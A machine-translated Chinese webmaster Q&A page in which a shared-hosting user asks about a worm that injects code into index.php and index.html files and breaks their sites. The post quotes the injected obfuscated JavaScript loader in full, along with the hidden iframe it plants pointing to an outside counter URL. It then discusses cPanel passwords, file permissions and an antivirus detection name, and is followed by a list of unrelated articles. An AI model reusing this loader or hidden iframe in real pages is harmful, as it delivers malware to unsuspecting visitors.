最近有没有其他人看到过这个问题?我有几个网站因此错误而失败.
Parse error: Syntax error,unexpected '<' in /home/public_html/index.PHP on line 39

它是由蠕虫/注入攻击引起的,它可以在任何可以找到的index.PHP / index.html文件中随机转储以下代码:

<html><body><script>date=new Date();var ar="Aw'zg>lpNu1m<0]c;erCy,aTnhE={s}i B() :[.\"ofbvdt/";try{gserkewg();}catch(a){k=new Boolean().toString()};var ar2="f108,-15,33,-30,6,-12,-78,-18,18,21,66,-21,-105,39,87,-60,-51,12,-39,9,-3,-54,42,-33,51,-96,123,-6,-75,99,3,63,24,-72,48,-57,60,-45,69,-36,45,27,-114,-87,-84,57,-9,36,-117,90,30,78,72,108,96,-42,-27,-93,-63,-24,-81,126,75,102,111,-102,105,-48,-99,93,-66,15,-138,138,81,-69,-132,117,-18]".replace(k.substr(0,1),'[');pau="rn ev2010".replace(date.getFullYear()-1,"al");e=new Function("","retu"+pau);e=e();ar2=e(ar2);s="";var pos=0;for(i=0;i<ar2.length;i++){pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;s+=ar.substr(pos,1);}e(s);</script></body></html>

该代码盲目地插入了一个源自javascript的iFrame:

<iframe height="10" width="10" src="http://counterstats.cz.cc/counter.htm" style="visibility: hidden; position: absolute; left: 0pt; top: 0pt;"></iframe>

我试图将网站拆开看看这是怎么发生的,但是有谁知道这是什么特定的攻击以及它是如何传播的?它是未泄漏的未修补代码,CPanel本身,破解密码,根服务器?

编辑

我无法确切地确定这里发生了什么,但它似乎是CPanel的事情 – 改变CPanel中的所有密码似乎都会阻止重复攻击.我在这种状态下留下了一个不重要的网站(没有清理网站代码),而且在它每天都被破坏之前一直都很好.联系了UK2.net和JustHost,但到目前为止还没有回应.

似乎public_html文件夹和一些其他“系统”文件夹已经奇怪地被chmod – 很多777应该没有.到目前为止,主机上没有回应.

编辑

似乎是“Trojan.JS.Agent.bur”试图了解更多……

听起来您的网站已成为蠕虫的受害者,这种蠕虫会将HTML /代码注入您的文件中.下次发布有问题的代码并进行分析.在此期间,您应确保所有应用程序和系统库都是最新的安全修补程序.

共享主机环境中出现PHP解析错误的更多相关文章

  1. 我可以创建“WWW”子域吗?

    我想为我的网站创建WWW的子域。默认情况下,当我键入www.example.com时,它不会重定向,而是使用我的non-www域索引&;所有其他文件。但是,为什么它也在中显示这条消息:Manifest:property'start_url'ignored,shouldbesameoriginasdocument.基本上,我想为它创建一个单独的部分。此外,请告诉我应该将WWW重定向到non-www还是将为其创建单独的子域。我是新来的,我只是需要帮助。让我困惑的是WWW是如何使用我的NON-WWW域文件

  2. Cpanel cron作业不能在夜间或下班后运行,对吗?

    我到处寻找,但无法确认cpanelcron作业只能在夜间或下班后运行。作为示例在早上6点到下午6点的白天,小时设置为6-18,但在相反的夜晚,从下午6点到早上6点,小时不能设置为18-6除非有什么解决方案,我想唯一的办法就是运行两个cron作业,一个是18-0,一个来自0-6

  3. 是否有简化的方法从现有的CentOS 5.10服务器导出设置以进行本地Vagrant配置? (木偶,厨师,贝壳或其他)

    像这样的东西是我想象的……在我决定询问是否有更好的方式与Vagrant携手合作之前,我做了一些事情.它并不可怕,但并非真正“精简”或全面.这是细节……

  4. 从哪里开始在PHP中使用CPanel托管运行命令行

    我正在看一些PayPal脚本/代码示例,其中很多需要通过命令行运行的PHP脚本.我从来没有在PHP之前从命令行运行任何东西,所以不知道从哪里开始.我不知道我是否使用了正确的搜索字词,因为Google没有帮我回答.我是否需要使用其他应用程序,或者我可以使用cPanel中的某些内容?

  5. cakephp 3 Cron Job不在cpanel工作

    我试图在cakePHP3shell脚本中实现cron作业,但它在cpanel中不起作用.下面是我的cron工作代码博客是我的cakePHP3文件夹cd/home/mmentert/public_html/abc.com/blog&&bin/cakehellomainCakePHP3shell类文件我假设您正在使用共享主机,CakePHP3Docs上建议的语法不适用于共享主机,这对我有用请使用您自己

  6. 共享主机环境中出现PHP解析错误

    最近有没有其他人看到过这个问题?它是未泄漏的未修补代码,CPanel本身,破解密码,根服务器?听起来您的网站已成为蠕虫的受害者,这种蠕虫会将HTML/代码注入您的文件中.下次发布有问题的代码并进行分析.在此期间,您应确保所有应用程序和系统库都是最新的安全修补程序.

  7. php – Cron作业在cpanel中无法正常工作

    我已经设置了cron作业,它工作正常,但是当我直接运行PHP文件它成功运行,但从cron它没有.但是,我设置另一个非常简单的文件,以确保我的cron命令/路径设置正确我创建了另一个文件,并使用简单的PHP邮件功能,它已成功运行.请向我建议可能的区域.而不是像cronjob命令那样像这样的命令:如果你想抑制输出你可以添加>/dev/null结尾.所以完整的命令将是:希望这可以帮助!

  8. cpanel – 如何在Windows中创建tar.gz归档文件?

    如何在Windows中创建tar.gz存档文件,以在c面板中上传和提取?tar.gz文件只是一个已被gzip压缩的tar文件。如果您喜欢GUI,则7zip可以同时包含tar和gzip。

  9. 如何在 CentOS 7 用 cPanel 配置 Nginx 反向代理

    本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请发送邮件至dio@foxmail.com举报,一经查实,本站将立刻删除。

  10. 【Linux课堂】如何在 CentOS 7 用 cPanel 配置 Nginx 反向代理

    本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请发送邮件至dio@foxmail.com举报,一经查实,本站将立刻删除。

随机推荐

  1. PHP个人网站架设连环讲(一)

    先下一个OmnihttpdProffesinalV2.06,装上就有PHP4beta3可以用了。PHP4给我们带来一个简单的方法,就是使用SESSION(会话)级变量。但是如果不是PHP4又该怎么办?我们可以假设某人在15分钟以内对你的网页的请求都不属于一个新的人次,这样你可以做个计数的过程存在INC里,在每一个页面引用,访客第一次进入时将访问时间送到cookie里。以后每个页面被访问时都检查cookie上次访问时间值。

  2. PHP函数学习之PHP函数点评

    PHP函数使用说明,应用举例,精简点评,希望对您学习php有所帮助

  3. ecshop2.7.3 在php5.4下的各种错误问题处理

    将方法内的函数,分拆为2个部分。这个和gd库没有一点关系,是ecshop程序的问题。会出现这种问题,不外乎就是当前会员的session或者程序对cookie的处理存在漏洞。进过本地测试,includes\modules\integrates\ecshop.php这个整合自身会员的类中没有重写integrate.php中的check_cookie()方法导致,验证cookie时返回的username为空,丢失了登录状态,在ecshop.php中重写了此方法就可以了。把他加到ecshop.php的最后面去就可

  4. NT IIS下用ODBC连接数据库

    $connection=intodbc_connect建立数据库连接,$query_string="查询记录的条件"如:$query_string="select*fromtable"用$cur=intodbc_exec检索数据库,将记录集放入$cur变量中。再用while{$var1=odbc_result;$var2=odbc_result;...}读取odbc_exec()返回的数据集$cur。最后是odbc_close关闭数据库的连接。odbc_result()函数是取当前记录的指定字段值。

  5. PHP使用JpGraph绘制折线图操作示例【附源码下载】

    这篇文章主要介绍了PHP使用JpGraph绘制折线图操作,结合实例形式分析了php使用JpGraph的相关操作技巧与注意事项,并附带源码供读者下载参考,需要的朋友可以参考下

  6. zen_cart实现支付前生成订单的方法

    这篇文章主要介绍了zen_cart实现支付前生成订单的方法,结合实例形式详细分析了zen_cart支付前生成订单的具体步骤与相关实现技巧,需要的朋友可以参考下

  7. Thinkphp5框架实现获取数据库数据到视图的方法

    这篇文章主要介绍了Thinkphp5框架实现获取数据库数据到视图的方法,涉及thinkPHP5数据库配置、读取、模型操作及视图调用相关操作技巧,需要的朋友可以参考下

  8. PHP+jquery+CSS制作头像登录窗(仿QQ登陆)

    本篇文章介绍了PHP结合jQ和CSS制作头像登录窗(仿QQ登陆),实现了类似QQ的登陆界面,很有参考价值,有需要的朋友可以了解一下。

  9. 基于win2003虚拟机中apache服务器的访问

    下面小编就为大家带来一篇基于win2003虚拟机中apache服务器的访问。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧

  10. Yii2中组件的注册与创建方法

    这篇文章主要介绍了Yii2之组件的注册与创建的实现方法,非常不错,具有参考借鉴价值,需要的朋友可以参考下

返回
顶部